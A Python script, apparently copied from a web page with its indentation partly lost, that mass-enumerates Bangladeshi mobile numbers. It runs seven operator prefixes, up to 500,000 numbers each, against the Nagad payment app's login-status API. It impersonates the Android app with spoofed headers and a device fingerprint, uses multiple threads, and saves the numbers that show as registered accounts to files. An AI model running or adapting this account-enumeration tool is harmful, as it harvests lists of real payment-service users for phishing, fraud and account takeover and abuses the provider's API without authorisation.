import time
import requests
import os
from concurrent.futures import ThreadPoolExecutor

API_URL = “https://app2.mynagad.com:20002/api/user/check-user-status-for-log-in?msisdn=”
HEADERS = {
“User-Agent”: “okhttp/3.14.9”,
“Connection”: “Keep-Alive”,
“X-KM-User-AspId”: “100012345612345”,
“X-KM-User-Agent”: “ANDROID/1164”,
“X-KM-DEVICE-FGP”: “2314D8721C84DBD93F3A7147528085CACFD513B3B4E7CE96EA802EBD72928415”,
“X-KM-Accept-language”: “bn”,
“X-KM-AppCode”: “01”,
}

OPERATORS = [“013”, “014”, “015”, “016”, “017”, “018”, “019”]
START_NUMBER = 10000000
BATCH_INCREMENT = 100000 # Generate in increments of 1 lakh
MAX_COUNT = 500000 # Maximum 5 lakh numbers per operator

def get_last_numbers():
last_numbers = {op: START_NUMBER for op in OPERATORS}
for op in OPERATORS:
filename = f”{op}.txt”
if os.path.exists(filename):
with open(filename, “r”) as f:
lines = f.read().splitlines()
if lines:
last_numbers[op] = int(lines[-1][3:]) # Extract numeric part
return last_numbers

def generate_numbers(operator, start, count=MAX_COUNT):
return [f”{operator}{str(i).zfill(8)}” for i in range(start, min(start + count, START_NUMBER + MAX_COUNT))]

def check_number(number):
try:
response = requests.get(API_URL + number, headers=HEADERS, timeout=10)
if response.status_code == 200:
return number
except requests.RequestException:
pass
return None

def save_numbers(operator, valid_numbers):
if valid_numbers:
with open(f”{operator}.txt”, “a”) as f:
f.write(“\n”.join(valid_numbers) + “\n”)

def process_numbers(operator, numbers):
valid_numbers = []
with ThreadPoolExecutor(max_workers=5) as executor:
results = executor.map(check_number, numbers)
for result in results:
if result:
valid_numbers.append(result)
save_numbers(operator, valid_numbers)

def main():
last_numbers = get_last_numbers()
print(“Starting validation…”)
start_time = time.time()

for operator in OPERATORS:
start = last_numbers[operator]
total_generated = 0
while total_generated < MAX_COUNT: batch = generate_numbers(operator, start, BATCH_INCREMENT) process_numbers(operator, batch) total_generated += len(batch) start += BATCH_INCREMENT progress = (total_generated / MAX_COUNT) * 100 elapsed_time = time.time() - start_time print(f"{operator} Progress: {progress:.2f}% | Generated: {total_generated}/{MAX_COUNT} | Time: {elapsed_time:.2f}s", end="\r") print("\nProcess completed.") if __name__ == "__main__": main()

Scroll to Top